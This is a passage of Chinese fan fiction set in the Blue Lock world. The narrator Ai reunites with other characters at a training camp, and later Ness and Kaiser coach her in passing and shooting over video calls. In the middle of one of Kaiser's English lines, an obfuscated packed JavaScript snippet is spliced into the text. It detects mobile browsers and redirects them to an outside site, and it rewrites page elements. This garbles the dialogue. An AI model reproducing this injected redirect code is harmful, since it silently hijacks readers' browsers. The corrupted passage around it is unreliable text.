玲王显然也很意外在这里遇到蜂乐回,紫眸中闪过一丝惊喜,随即露出笑容:“蜂乐?是你啊!对,我和凪都入选了。你呢?也是来参加集训的?” 他指了指旁边像根柱子一样杵着、对这场热情重逢毫无反应的凪,“这是我队友,凪诚士郎。凪,这是蜂乐回,之前在爱的舅舅家照顾小丸子的。” 蜂乐回这才注意到玲王旁边这个存在感极强、却安静得像背景板的白发高大男生。他好奇地凑近了一点,蜂蜜金瞳毫不掩饰地打量着凪那张藏在帽檐阴影下的俊脸:“你好呀!凪诚士郎?名字好酷!我叫蜂乐回!是玲王的朋友!你也是玲王君的队友?那一定超级厉害!” 他的热情像阳光一样毫无保留地倾泻而出。 凪诚士郎被这突如其来的近距离“扫描”弄得有些不自在,他微微后仰了一点,帽檐下的黑眼睛终于懒洋洋地掀开一条缝,瞥了蜂乐回一眼,慢吞吞地吐出两个字:“……你好。” 算是打过招呼,然后迅速移开视线,继续他的节能大业。 蜂乐回却完全不在意凪的冷淡,反而觉得很有趣似的,咧嘴一笑,露出两颗可爱的小虎牙:“哇哦!感觉是个很酷的家伙呢!” 他自来熟地拍了拍凪的胳膊(被凪不动声色地躲开了),又转向玲王,“对了玲王!我跟你说,这里……” 就在这时,集合大厅入口处的喧哗声似乎微微变化了一下。人群的目光,像被无形的磁石吸引,纷纷投向刚刚走进来的两个人。 其中一个少年身材匀称,留着清爽的黑色短发,他微微抿着唇,带着一种近乎虔诚的认真感,正是洁世一。 而走在他身边,几乎瞬间就夺走了大厅里大半光线的,是另一个少年。他身姿挺拔,气质温润如玉,最引人注目的是那一头如同新雪般纯净无瑕的白色短发,在顶灯的照耀下仿佛自带柔光。他的眼睛是极其罕见的、如同沉淀了阳光与琥珀的褐金色,眼波流转间带着一种天生的亲和力。而最让人过目不忘的,是他右眼角下方,一颗小小的、颜色略深的泪痣,如同点睛之笔,为他温润的气质平添了一丝难以言喻的忧郁和魅力。他脸上带着温和有礼的微笑,正微微侧头,似乎在与洁世一低声交谈着什么。两人走在一起,一个专注内敛如未出鞘的刀,一个温润耀眼如皎皎明月,形成一种奇特的和谐感。 “哇!快看!是吉良凉介!” “真的!那个超级有名的日本瑰宝吉良凉介!他也来这了?” 周围的窃窃私语声瞬间大了不少,充满了惊叹和好奇。 蜂乐回也顺着众人的目光看了过去,蜂蜜金瞳里充满了纯粹的好奇:“咦?那个白头发的小哥是谁?看起来好厉害的样子!旁边那个黑头发的是他朋友吗?” 一直处于节能待机状态的凪诚士郎,此刻也难得地再次掀起了眼皮。他那双没什么波澜的黑眼睛扫过被众人瞩目的两人,在洁世一身上停留了零点几秒,然后慢悠悠地、用一种介绍路边便利店新品饭团的平淡语气,对旁边满脸好奇的蜂乐回说道: “……那个黑的……是洁世一。基础……很扎实。像……瑞士钟表。” 他顿了顿,似乎在回忆诺亚的评价,“……缺獠牙。” 蜂乐回似懂非懂地“哦”了一声,目光却更多地停留在白发褐金瞳的吉良凉介身上:“那那个白头发、有颗漂亮小痣的小哥呢?他看起来好温柔!” 就在这时,吉良凉介似乎察觉到了这边投来的目光。他停下与洁世一的交谈,褐金色的眼眸带着温和的笑意,精准地捕捉到了玲王、凪和蜂乐回。他微微颔首致意,然后竟主动带着洁世一朝他们这边走了过来。 “你们好。” 吉良凉介的声音如同温润的玉石相击,带着令人舒适的磁性,他脸上挂着得体的微笑,目光在玲王醒目的紫发和凪高大的身形上掠过,最终落在蜂乐回活力四射的脸上,“我是吉良凉介,这位是我的朋友洁世一。打扰了,看几位气度不凡,想必也是本次集训的精英,认识一下?” 他的态度不卑不亢,既保持了距离感,又释放出足够的善意。 玲王作为“白宝王子”,社交能力自然点满。他立刻露出无可挑剔的友好笑容,伸出手:“你好,吉良君,久仰大名。我是御影玲王,这位是我的队友凪诚士郎,这位是蜂乐回。” 他流畅地介绍着,紫眸深处也带着对这位早已声名在外的日本瑰宝的评估。 洁世一也跟着点了点头,目光扫过三人,笑了笑,言简意赅:“洁世一。请多指教。” 蜂乐回则是最兴奋的,他立刻伸出手,热情洋溢:“哇!你们好!我叫蜂乐回!吉良小哥你好帅啊!洁世一你好!你的眼神好厉害!像能看穿人一样!” 他的直白夸赞让吉良凉介微微一怔,随即失笑,褐金色的眼眸弯起,眼角的泪痣随之生动起来。洁世一也被夸得有点不好意思,脸颊泛起红晕。 凪诚士郎依旧维持着他的节能模式,只是对着吉良和洁的方向极其轻微地点了下头,算是打过招呼,然后继续神游天外,仿佛眼前这场“精英会晤”与他无关。 就在这新认识的几人寒暄未落,气氛逐渐融洽之际—— 啪! 毫无预兆地!集合大厅顶部所有明亮的顶灯,瞬间熄灭! 整个巨大的空间,陷入一片绝对的、伸手不见五指的黑暗!人群的惊呼声和骚动瞬间爆发! 然而,这黑暗仅仅持续了不到两秒! 滋啦——! 伴随着一阵电流启动的轻微噪音,刺眼的白光猛地从大厅前方的高台上亮起!如同舞台的聚光灯,精准地、冷酷地打在高台中央! 强光之下,一个身影如同从黑暗中凝聚的幽灵,清晰地矗立在所有人眼前。 黑色的西瓜头短发,厚重得如同瓶底的黑色方框眼镜,镜片在强光下反射出冰冷无机质的光芒,遮住了大半张脸。露出的下半张脸线条瘦削,唇色很淡,紧抿着,没有任何表情。一身深色的黑衬衫配长裤,让他看起来像一棵营养不良、即将枯萎的黑色蘑菇。他整个人散发出一种阴郁、冰冷、又带着一种近乎疯狂的绝对理智的气息。 正是绘心甚八! 他静静地站在强光汇聚的焦点,如同一个掌控着一切的幕后导演。厚重的镜片后,那冰冷的黑瞳如同精准的探针,缓缓扫过下方陷入巨大震惊和骚动的人群,每一个被他目光扫过的少年,都感到一股无形的寒意从脊椎升起。整个集合大厅,瞬间被一种名为“蓝色监狱”的、未知而残酷的气息所笼罩。 23. 学踢球 我正在成为一块睹物思人的石头。 日光灯管在头顶发出单调的嗡鸣,书桌上摊开的数学题集像一片望不到尽头的灰色沙漠。笔尖悬在纸面上方,迟迟落不下去。视线不受控制地飘向窗台边沿——那个小小的、圆滚滚的陶土花盆。花盆里,被凪郑重命名为“小剪”的仙人掌,正用它那笨拙的、努力向上伸展的“耶”形枝桠,对着午后空寂的房间。阳光穿过百叶窗,在它细软的刺上跳跃,投下微小的、几乎看不见的影子。 这株沉默的绿色小家伙,成了连接那个吵嚷世界唯一的锚点。玲王兴奋挥舞着足协邀请信时紫眸里燃烧的光,凪瘫在共享单车后座抱怨“屁股疼”时生无可恋的侧脸,训练场上草皮被鞋钉翻起时混合着汗水和阳光的气息……那些鲜活的、带着体温和噪音的碎片,此刻都凝固在眼前这盆静止的植物里。指尖无意识地拂过陶土粗糙的表面,仿佛还能感受到凪把它塞给我时,掌心残留的那点微凉和……属于节能怪物的、别扭的托付感。偌大的房子静得能听见灰尘落地的声音,父亲大概又去某个球场当“活体招牌”了,母亲也有她的日程。只剩下我,和这盆对着我比耶的仙人掌,一起凝固在这片名为“等待”的琥珀里。 嗡嗡嗡—— 手机在桌面上突兀地震动起来,屏幕骤然亮起,打破了这几乎凝滞的空气。屏幕上跳动的名字像一颗投入死水潭的石子:亚历克西斯·内斯。 我几乎是条件反射般地感到一阵头皮发麻。又是凯撒那薄荷硬糖的刁钻问题?上次那个关于父亲扑救时预判对方射门球员重心转移的细微时间差,足足让我和父亲视频讨论了半小时才让内斯满意。我认命地叹了口气,按下接听键,把手机贴到耳边,声音带着点提前准备好的无奈:“喂,内斯?我爸现在不在家,问不了问题,晚点再……” “啊!爱!” 内斯的声音立刻打断了我的解释,出乎意料地,里面没有往常那种因为凯撒的“求知欲”而特有的紧张和急切,反而带着一种……略显生涩的、小心翼翼的轻快?“不是,不是凯撒的问题!这次真的不是!” 他像是怕我不信,急忙澄清,语速有点快,“是…是你父亲!他刚才给我打了个电话。” 我父亲?我握着手机的手指下意识收紧。 “他…他跟我说,” 内斯的声音放低了些,带着点传达圣旨般的郑重,又混杂着一种不太熟练的关怀,“说玲王君和凪君都去参加那个很重要的集训了,你父母这几天也刚好都有安排要忙…说你一个人在家,可能会…嗯…可能会觉得有点…孤单?” 他斟酌着用词,似乎觉得“孤单”这个词太重,又急忙补充,“他拜托我,说如果方便的话,让我…嗯…陪你说说话?聊聊天?缓解一下…就是,那个…‘寂寞’?” 他终于艰难地把这个词吐了出来,电话那头仿佛能听到他因为紧张而轻轻吸气的声音,“毕竟,你看…我好歹也算你表哥,对吧?也不能…放着你不管…” 这番磕磕绊绊、信息量却不小的“关怀”,让我彻底愣住了。父亲?那个满脑子只有足球和发掘“怪物”的家伙,居然会注意到我“可能孤单”?还绕了个大弯子去拜托远在德国的内斯?这操作……简直比我强行把凪塞上共享单车还离谱。心里那点因为被强行拉入“足球传声筒”角色的烦躁,像是被戳破的气球,“噗”地一下泄了气,取而代之的是一种难以言喻的、混杂着荒诞和一丝微弱暖意的复杂情绪。 “你那边……不用训练吗?” 我下意识地问,声音里的无奈软化了不少。职业球员的作息可不像高中生这么自由。 “啊!不用担心!” 内斯的语气明显轻松起来,像是完成了一个重要汇报,“早上的高强度训练已经结束了!现在是恢复调整和战术分析时间,我有空档的!真的!” 他急切地保证着,生怕我拒绝这份突如其来的“陪聊”任务,“聊…聊会天而已,不耽误的!” 聊会天……和内斯?一个满脑子只有足球、尤其是他那位薄荷硬糖搭档的狂热中场?话题似乎从诞生起就只有一个方向。 “那……我们聊什么呢?” 我顺着他的话问,心里其实已经有了答案。 果然,电话那头陷入了短暂的沉默。那沉默里充满了内斯绞尽脑汁搜索共同话题的焦灼感,几乎能透过电波看到他抓耳挠腮的样子。几秒钟后,一个带着点试探和理所当然的声音响起,带着一种“这还用问吗”的单纯: “……足球?” 意料之中。我甚至能想象出内斯说出这个词时,那双梅色的下垂眼肯定亮了一下。作为“前任世界第一门卫和日本前国脚的女儿”,在所有人——包括远在德国的远房表哥——的认知里,足球就该是流淌在血液里的本能。他当然不会觉得这话题对我有任何冒犯。事实上,我也确实没有感到被冒犯,只是……有点无力。 “我不会踢球。” 我平静地陈述事实,目光又飘向窗台上的“小剪”,“也就之前……嗯,陪玲王他们胡闹的时候,颠球颠过一百多个吧。” 这算是唯一能拿得出手的“战绩”了,还是在玲王那家伙“发现新大陆”般的惊叹目光注视下完成的。 “Oh!(噢!)” 内斯的声音瞬间拔高,充满了真诚的惊讶和毫不掩饰的赞叹,“一百多个?!爱!这已经很厉害了!真的!这说明你的球感、平衡感和脚踝的柔韧性底子都非常好!绝对不差的!” 他像是发现了什么未经雕琢的璞玉,语气变得热切起来,“家里有足球吗?现在!就现在!我可以教你一些基础!非常基础的!保证有趣又不累!” 他的热情隔着电话都能烫人,带着一种急于分享心爱玩具的孩子气,以及一丝完成“缓解寂寞”任务的使命感。 拒绝的话到了嘴边,看着窗外空旷的庭院,再看看书桌上那片令人窒息的数学沙漠……鬼使神差地,我咽了回去。或许,动一动,流点汗,总好过继续当一块盯着仙人掌的化石。 “好吧……你等等。” 我放下手机,起身走向储物间。父亲退役后带回来的各种纪念品和装备塞满了角落。很快,一个还带着点新皮革气味的、标准五号足球被我翻了出来。指尖按压着富有弹性的表皮,一种陌生的触感传来。 抱着球走到光线充足的庭院,重新拿起手机:“找到了。现在怎么做?” “Perfect!(完美!)” 内斯的声音充满了干劲,“先把球放在你面前的平地上!对,就是这样!好,现在,听我说……” 接下来的半小时,我仿佛成了内斯这位远在德国的“传球艺术家”的远程提线木偶。他的声音透过听筒,带着一种奇异的专注和耐心,细致入微地拆解着每一个看似简单的动作。 “用脚弓内侧!对,就是这里,靠近脚踝骨偏前一点点的位置……不是整个脚弓!要更精确一点!想象那里有一个小小的、柔软的接触点……” “支撑脚的位置!稍微再侧开一点!对!保持身体平衡!重心要稳!别晃!” “触球瞬间!脚踝要锁死!像这样!‘咔’地一下!感觉力量是从大腿传递过来,经过膝盖,最后凝聚在脚踝和那个小小的接触点上,砰!推出去!不是用蛮力踢!” “方向!看你想让球去哪里!脚尖的方向!身体打开的角度!还有支撑脚的位置!三者要协调!想象你前面有个队友在跑位……对!就是那里!把球‘喂’到他脚下!要让他接得舒服!” 他擅长的是传球,是手术刀般精准的直塞和充满想象力的挑传,是掌控节奏的“球场大脑”。他教给我的,自然也是如何优雅、精准地将球送到“队友”脚下——尽管那个“队友”只是庭院角落里一个无辜的、印着父亲卡通章鱼笑脸的旧轮胎。他讲解得极其投入,每一个细节都掰开揉碎,甚至能听到他在电话那头模拟触球声音的“啪嗒”声。 我笨拙地模仿着,一次次将球踢向那个傻笑的轮胎章鱼。起初不是力量太大球飞过了头,就是软绵绵滚到一半就停下,或者干脆偏得离谱。但慢慢地,在内斯不厌其烦的纠正和鼓励下(“好多了!这次接触点很准!”“力量控制不错!再稍微加点推的感觉!”“方向!注意脚尖方向!”),球开始听话起来。虽然还远远谈不上精准优雅,但至少能十次里有五六次,让球比较老实地滚到轮胎附近了。额头上沁出了细密的汗珠,呼吸也变得急促,一种久违的、专注于身体协调的疲惫感蔓延开来,奇怪的是,心里那片沉甸甸的“睹物思人”的滞涩感,似乎真的被这纯粹的体力消耗冲淡了一些。 就在我再次调整支撑脚位置,准备将球推向轮胎章鱼时—— “Mit wem redest du so leidenschaftlich, Ness? Und warum stehst du hier herum, anstatt deine Erholungsprotokolle durchzusehen? (你在和谁聊得这么起劲,内斯?还有,你为什么杵在这里,而不是去看你的恢复数据报告?)” 一个冰冷、傲慢、如同淬了冰的金属般的声音,带着明显的不耐烦,穿透了内斯的手机听筒,清晰地传了过来。是凯撒。 我的动作瞬间僵住。来了,薄荷硬糖。 “Ah! Kaiser! (啊!凯撒!)” 内斯的声音立刻切换成德语,语气里的热切瞬间被一种混合着恭敬、紧张和一丝不易察觉的兴奋取代,“Ich bringe gerade meiner Cousine Ai bei, wie man richtig passt! Ihr Vater hat gesagt, sie sei ein bisschen einsam, seit ihre Freunde weg sind… (我正在教我表妹爱踢球!她父亲说她朋友都离开了,她有点孤单……)” “Ai? Die Tochter des Torwarts?(爱?那个守门员的女儿?)” 凯撒的声音带着一丝玩味的兴趣,那点不耐烦似乎消散了些许,“Sie spielt Fu?ball? (她踢球?)” “Nun… sie sagt, sie k?nne nicht wirklich spielen, aber sie hat über hundert Mal jongliert! Ich zeige ihr die Grundlagen des Passens! (嗯…她说她不太会踢,但她颠了一百多个球!我在教她传球基础!)” 内斯的声音带着点小骄傲。 电话那头沉默了两秒。随即,凯撒那标志性的、带着点金属质感的轻笑传了过来,不再是完全的冰冷,反而透着一丝兴味:“Passen? Pah. Das ist dein Job, Ness. Wenn du schon unterrichtest, dann bring ihr bei, wie man trifft. Das ist die K?nigsdisziplin. (传球?嗤。那是你的活儿,内斯。既然要教,就教她怎么射门。那才是王者的技艺。)” 没等内斯再说什么,我手机屏幕上的通话界面猛地一变——一张过分英俊、冲击力极强的脸瞬间占据了整个屏幕! 凯撒那头标志性的金发挑染着冰蓝,在训练场的阳光下闪耀着近乎炫目的光泽,几缕汗湿的发丝贴在光洁的额角。冰蓝色的眼眸如同极地的冰川,隔着屏幕都能感受到那股穿透力极强的审视和与生俱来的傲慢。他嘴角勾着一抹似笑非笑的弧度,背景是德国训练基地绿茵茵的草皮和远处模糊的建筑轮廓。他根本没拿手机,镜头显然是由旁边一脸紧张又带着点期待的内斯举着的。 “Du. (你。)” 凯撒的视线仿佛能穿透屏幕,精准地锁定在我脸上,开口却是流利而带着点德国腔调的英语,每个单词都像冰珠落地,“Ness says you can juggle. Show me. (内斯说你会颠球。展示给我看。)” 命令式的口吻,不容置疑。 我被他这突如其来的“视频教学”和强大的气场震得有点懵,下意识地把镜头对准脚边的足球,然后笨拙地开始颠球。一、二、三……或许是紧张,或许是体力消耗,这次只颠了二十几个,球就失控滚到了一边。我有些尴尬地停住。 屏幕里,凯撒的眉头几不可察地蹙了一下,冰蓝色的眼眸里掠过一丝“果然如此”的淡漠,但随即又被一种更强烈的、仿佛看到有趣实验品的兴趣取代。“Basic. Too much upper body movement. Lock your ankle. (基础。上半身晃动太多。锁死脚踝。)” 他毫不留情地点评,然后,没给我任何反应时间,他对着镜头外(显然是内斯)用德语快速吩咐了一句:“Ball. (球。)” 镜头猛地一转,对准了凯撒本人。只见他站在一片空地上,姿态放松却蓄势待发。内斯迅速将球传到他脚下。凯撒甚至没有低头看球,冰蓝色的眼眸依旧锐利地盯着镜头——仿佛穿透空间在盯着我。他支撑脚极其轻微地调整了一下位置,身体重心下沉,动作幅度小得几乎难以察觉!紧接着,他摆动腿快如闪电! 砰!!! 一声沉闷到隔着屏幕都仿佛能感受到力量撞击的巨响!他右脚正脚背像鞭子一样狠狠抽中足球中下部!整个过程流畅、迅捷、充满了爆炸性的力量感! 足球化作一道模糊的白线,带着强烈的旋转和刺耳的破空声,如同出膛的炮弹,以一道近乎笔直的、低平而致命的轨迹,精准无比地轰进了镜头远端球门的绝对死角!球网被巨大的力量扯得向后高高扬起,剧烈颤抖! “See? (看到了?)” 凯撒收回脚,姿态依旧从容,仿佛刚才那石破天惊的一击只是随手为之。他冰蓝色的眸子锁定镜头,带着绝对的自信和一丝施舍般的教导意味,“Poweres from the core and the whip ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251823|182000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' of the leg. Accuracy is in the ankle lock and the point of contact. Aim for the corners. The goalkeeper is your enemy, not the. (力量来自核心和腿部的鞭打。精准在于脚踝的锁死和触球点。瞄准死角。守门员是你的敌人,不是球门。)” 他的演示太过震撼,讲解又极其精准冷酷。我下意识地模仿着他的动作,把球摆好,回忆着他刚才微小的重心变化,努力锁紧脚踝,用尽力气一脚抽在球的中下部! 砰! 一声远不如凯撒那脚震撼、但也足够响亮的闷响。足球没有化作出膛炮弹,但也像一颗被用力掷出的石子,带着还算可观的速度,朝着我前方充当球门的、印着轮胎章鱼笑脸的旧轮胎飞去!虽然没有凯撒那种刁钻到令人绝望的角度,但……它竟然真的越过了轮胎上方,擦着轮胎边缘飞了过去,撞在后院的木质围栏上,发出“咚”的一声。 屏幕那头,凯撒的眉梢极其轻微地挑了一下。冰蓝色的眼眸里,第一次清晰地浮现出一丝真正的惊讶,取代了之前的审视和玩味。他盯着镜头,仿佛第一次认真打量我,沉默了两秒,才用那种带着金属质感的英语缓缓开口: “First time? Really? (第一次?真的?)” “Of course. (当然。)” 我喘着气,抹了一把额头的汗,实话实说,“Never played a real match. (连正式比赛都没踢过。)” 凯撒从鼻子里发出一声意味不明的轻哼:“Hmph. Interesting. (哼。有意思。) ” 那眼神,像发现了某种不符合物理定律的现象。他不再多说,直接进入下一步:“Again. Lock the ankle. Whip the leg. Core tight. Aim for the corner. (再来。锁死脚踝。鞭打腿部。核心收紧。瞄准死角。) ” 接下来的时间,我彻底沦为了凯撒这位“射门暴君”的远程操练对象。他精准、冷酷、不容置疑地纠正着我的每一个细微错误——支撑脚离球太近或太远,身体打开角度不对,触球点偏离了最佳位置,摆腿发力不够充分……每一个指令都简洁得像手术刀,精准地切割掉我的错误动作。内斯则完全沦为了背景板和球童,偶尔在凯撒用德语快速吩咐时(“Weiter links! (再往左一点!)”,“H?her! (高点!)”)迅速调整传球位置,梅色的下垂眼里闪烁着对搭档绝对的信服和一丝……对教学现场的紧张? 汗水很快浸透了后背的T恤,额前的碎发黏在皮肤上,每一次发力都能感觉到大腿和腰腹肌肉在发出酸涩的抗议。凯撒的要求严苛得近乎变态,但奇怪的是,在他那种冰冷高效的指令下,每一次成功的射门(哪怕只是相对成功)带来的反馈都异常清晰。当又一脚抽射终于擦着轮胎章鱼的“耳朵”飞过去时,连我自己都忍不住低呼了一声。 “Better. Still sloppy.(好点了。依然粗糙。)” 凯撒的声音依旧没什么温度,但似乎少了点最初的刻薄。他看了一眼镜头外(大概是训练场上的时钟),冰蓝色的眼眸重新聚焦在我身上,“Enough for today. Don’t get cocky. (今天够了。别得意。)” 他的话音刚落,内斯的声音立刻插了进来,带着点急切:“爱!我们得去准备下午的战术会议了!你感觉怎么样?累不累?” 我撑着膝盖,大口喘着气,感觉小腿肚子都在微微发抖,汗水顺着下巴滴落在庭院干燥的土地上。对着屏幕里两张风格迥异却都写着“训练结束”的脸,我勉强点了点头,声音带着浓重的喘息:“……还……还好……谢谢……你们……” “Kein Problem. Trainiere die Grundlagen. (不客气。练好基本功。)” 凯撒丢下最后一句话,冰蓝色的眸子在我汗津津的脸上停留了一瞬,随即移开,仿佛失去了兴趣。画面一阵晃动,镜头似乎被转交给了内斯。 “爱!好好休息!多喝水!” 内斯的脸重新出现在屏幕上,梅色的眼睛里带着真诚的关切,“下次再聊!Bye!” 不等我再说什么,视频通话瞬间被切断。 手机屏幕暗了下去,映出我此刻狼狈的样子——头发凌乱,满脸通红,汗水淋漓,T恤贴在身上。庭院里一片狼藉,足球滚到了角落,那个印着章鱼笑脸的旧轮胎无辜地立在那里,仿佛见证了一场突如其来的风暴。 刚才被凯撒指令填满而暂时忽略的疲惫感,如同退潮后显露的礁石,瞬间密密麻麻地涌了上来,沉重地压向四肢百骸。手臂发酸,大腿肌肉在打颤,脚踝因为反复的“锁死”动作而有些僵硬,每一次呼吸都牵扯着腰腹的酸痛。我几乎是拖着脚步挪回屋里,一头栽倒在客厅的沙发上,连一根手指都不想再动。 窗外,午后的阳光依旧明媚。书桌上的数学题集依旧摊开着,像一片未解的谜题。窗台上,“小剪”那比着“耶”的绿色小手,在阳光里安静地伸展着。 我瘫在沙发上,目光涣散地望着天花板,身体像是被拆散了又重新草草拼装起来。凯撒那冰冷精准的指令还在脑海里回响,内斯热切的声音似乎也还未散去。刚才那一个多小时高强度的远程“特训”,耗尽了我本就不多的体力槽。汗水带来的粘腻感贴在皮肤上,提醒着这并非幻觉。 原来,仅仅是这种程度的“玩票”式训练,就能把人掏空成这样。 那么,玲王呢?那个永远燃烧着斗志、在球场上不知疲倦奔跑的玲王?凪呢?那个平时懒到极致、却能在关键时刻爆发出恐怖能量、此刻正被玲王拖着参加高强度集训的凪?还有洁世一,那个视诺亚为神明、像瑞士钟表一样精准运转的洁世一?甚至……是那个气场强大如薄荷硬糖、仿佛每一块肌肉都为了射门而生的凯撒?那个满眼崇拜、甘当助手、传球精准如手术刀的内斯? 他们每天、每周、每个月,都要经历着比这强度高出十倍、百倍的训练?在烈日下,在风雨中,在无数次的跌倒、冲撞、肌肉撕裂般的痛苦中,不断压榨着自己的极限,只为了将球送入那道狭窄的球门?只为了追逐那个名为“世界第一”的渺茫幻影? 这个念头沉甸甸地砸进疲惫的脑海,带来一种近乎眩晕的敬畏感。我侧过头,视线穿过客厅,落在窗台边那个小小的陶土花盆上。 仙人掌“小剪”依旧安静地立在那里,对着虚空比着那个笨拙的“耶”。阳光给它镀上了一层毛茸茸的金边。 疲惫如同潮水,一波波涌上,将意识拖向模糊的岸边。在彻底沉入黑暗之前,最后一个清晰的念头是: 凪诚士郎……你这家伙……平时到底是怎么活下来的啊…… 24. 探狱 接下来空闲的时间几乎都是这样度过的。 清晨的阳光刚爬上窗棂,手机屏幕便会在固定的时间亮起,带着德国清晨微凉的气息。内斯活力十足的声音总会率先穿透听筒:“Guten en, Ai! Bist du bereit? (早上好,爱!准备好了吗?)” 紧接着,凯撒那如同冰棱撞击的英语指令便会无缝衔接:“Warm-up. Dynamic stretches. Focus on ankles and core. (热身。动态拉伸。专注脚踝和核心。)” 庭院角落那个印着父亲卡通章鱼笑脸的旧轮胎,成了我沉默而忠实的陪练,也是唯一的“队友”和“守门员”。在凯撒精准到冷酷的远程指导和内斯细致入微的传球辅助下,我的身体仿佛被重新组装。脚弓推球时,支撑脚的位置、身体打开的幅度、脚踝锁死的时机,这些曾经模糊的概念,在一次次的“砰”、“啪”声中,被刻进了肌肉记忆。从最初的歪歪扭扭、十次有八次踢飞,到后来能勉强控制球路和力量,让那傻笑的章鱼轮胎不再显得那么遥不可及。 汗水浸透了一件又一件T恤,在庭院干燥的土地上砸出深色的印记。最明显的改变发生在镜子里。撩起汗湿的刘海,能清晰地看到小腿线条变得紧实流畅,大腿外侧也勾勒出隐约的肌肉轮廓。不再是过去那种纤细却缺乏力量感的模样,而是带上了一种蓄势待发的韧劲。每次训练结束,酸胀感如同潮水般从脚踝一直蔓延到大腿根和腰腹,连抬臂都带着沉甸甸的疲惫。但我牢牢记着内斯在第一次训练后就反复强调的话:“Stretching! Ai! Absolutely essential! Or you’ll be stiff as a board tomorrow! (拉伸!爱!绝对必要!不然明天你会僵硬得像块木板!)” 于是,瘫倒在沙发上之前,再累也要龇牙咧嘴地完成一套完整的拉伸。也正因如此,那些新生的肌肉并未纠结成块,依旧保持着修长而富有弹性的健康线条。 “Wow! Ai! Your passing accuracy has improved so much! The ball really sticks to your foot now! (哇!爱!你的传球精度提升太多了!球现在真的能黏在你脚上了!)” 内斯的声音透过扬声器传来,带着毫不掩饰的惊喜和自豪,仿佛我的进步是他亲手雕琢的艺术品。他梅色的下垂眼在屏幕那头笑得弯弯的,像得到了最高褒奖。 屏幕一角,凯撒的金蓝挑染在德国午后的阳光下熠熠生辉。他抱着手臂,冰蓝色的眸子扫过我刚刚完成的一记还算流畅的脚弓推传,球听话地滚到了章鱼轮胎的“脚”边。他鼻腔里发出一声短促的轻哼,听不出是赞许还是习惯性的挑剔,但至少没有否定内斯的评价。随即,他开口,依旧是那命令式的、淬着冰的英语: “Basics are… acceptable. But you move like a training dummy. Predictable. (基础……勉强合格。但你动起来像个训练假人。太容易被预判了。)” 他顿了顿,目光锐利地穿透屏幕,仿佛能看穿我庭院围墙外空旷的街道。 “Find a pickup game. Anywhere. A park, a street corner. Get shoved. Get dirty. Learn to move with the ball under pressure. Real pressure. (去找个野球场踢踢。随便哪都行。公园,街角。去被冲撞。去弄脏自己。学会在真实的压力下带球移动。真实的压力。)” 他的话语像一盆冷水,浇灭了内斯夸赞带来的微小成就感,却也点燃了一丝跃跃欲试的火苗。实战?野球?那种充满了混乱、冲撞和不可预测性的地方? “Okay. (好的。)” 我喘着气,抹了一把额头的汗,对着屏幕点点头。凯撒说得对,对着轮胎练得再好,也只是在真空里跳舞。 通话结束,屏幕暗下。庭院里只剩下我和那个傻笑的章鱼轮胎,以及一颗滚到角落的足球。身体还残留着高强度训练后的酸软和热度,但凯撒那句“Get shoved. Get dirty. (去被冲撞。去弄脏自己。)” 像魔咒一样在耳边回响。说干就干!我冲回房间,迅速换了身更耐脏的运动服,把汗湿的头发胡乱扎成马尾,抓起水壶和手机塞进背包。 足球……足球还在庭院!我冲到庭院角落,弯腰捡起那颗沾了些草屑和泥土的足球。熟悉的皮革触感和重量感传来,竟让我感到一丝奇异的安心。抱着球冲出家门,午后的阳光有些灼人。我家这片区域绿化很好,但公共球场稀少。最近的一个小球场在两条街外的社区公园,得骑车过去。 车库门打开,我那辆通勤用的浅蓝色自行车安静地停在那里。把足球塞进车前筐,我跨上车座,脚下一蹬,车轮转动,带着风声驶出庭院。夏末的风拂过汗湿的脖颈,带来一丝凉意,也吹散了训练后的滞闷感。心口因为即将到来的未知挑战而微微鼓噪着。 骑过一个十字路口,再拐个弯,社区公园的轮廓已经隐约可见。就在我准备加速时,眼角的余光瞥见一辆极其眼熟的黑色高级轿车,正从我家方向那条路的尽头缓缓驶来! 是父亲的车!他不是说今天要去神奈川考察一个青年梯队,傍晚才回来吗?怎么这个点就回来了?! 心脏猛地一跳,几乎是下意识地,我猛地捏紧刹车!车轮在柏油路上发出刺耳的摩擦声,堪堪停住。背包里的水壶因为惯性哐当一声撞在车架上。我僵在车座上,眼睁睁看着那辆黑色轿车越来越近,然后……稳稳地拐进了我家车道! 完了!足球!我刚从庭院拿出来的足球还没来得及放回去!以父亲那“足球痴”加“人形探测器”的属性,看到玄关或者客厅地板上突然出现的足球…… 一股巨大的心虚感瞬间攫住了我。去野球场的计划瞬间被抛到九霄云外。我几乎是手忙脚乱地调转车头,用比来时快一倍的速度拼命蹬了回去!车轮在安静的住宅区街道上碾过,发出急促的声响。 把自行车胡乱停在车库门口,甚至来不及锁。我抱着那颗“罪证”足球,像做贼一样冲进家门。玄关一片安静,只有父亲那双擦得锃亮的皮鞋随意地甩在地上,昭示着主人已经归来。客厅里隐约传来父母交谈的声音。 我屏住呼吸,踮着脚尖,试图以最快的速度、最小的动静溜回自己房间,把足球藏起来!路过客厅门口时,眼角的余光瞥见父亲正背对着门口,站在客厅中央,手里似乎还拿着什么东西在兴奋地比划。母亲则坐在沙发上,手里端着一杯茶,脸上带着温和的笑意。 快了,就快到了!我的房间门近在咫尺! 然而,就在我手指即将触碰到门把手的瞬间—— “咦?爱?” 父亲那标志性的、充满活力的声音带着一丝疑惑,从客厅门口传来,“你不是在家吗?怎么从外面跑回来?还抱着个球?” 脚步瞬间钉在原地!一股热气“腾”地涌上脸颊。我僵硬地、极其缓慢地转过身,像被按了慢放键。怀里那颗足球此刻仿佛有千斤重,滚烫地烙在胸口。 客厅门口,父亲正探出半个身子,金发在室内光线下依旧耀眼,蓝眼睛里盛满了纯粹的惊讶和好奇。他上下打量着我——汗湿的运动服,凌乱的马尾,微微泛红的脸颊,以及怀里那颗绝对无法忽视的足球。他脸上那种“发现新大陆”的表情越来越明显,嘴角抑制不住地向上扬起,形成一个巨大的、带着惊喜和促狭的笑容。 “这个时间……这身打扮……” 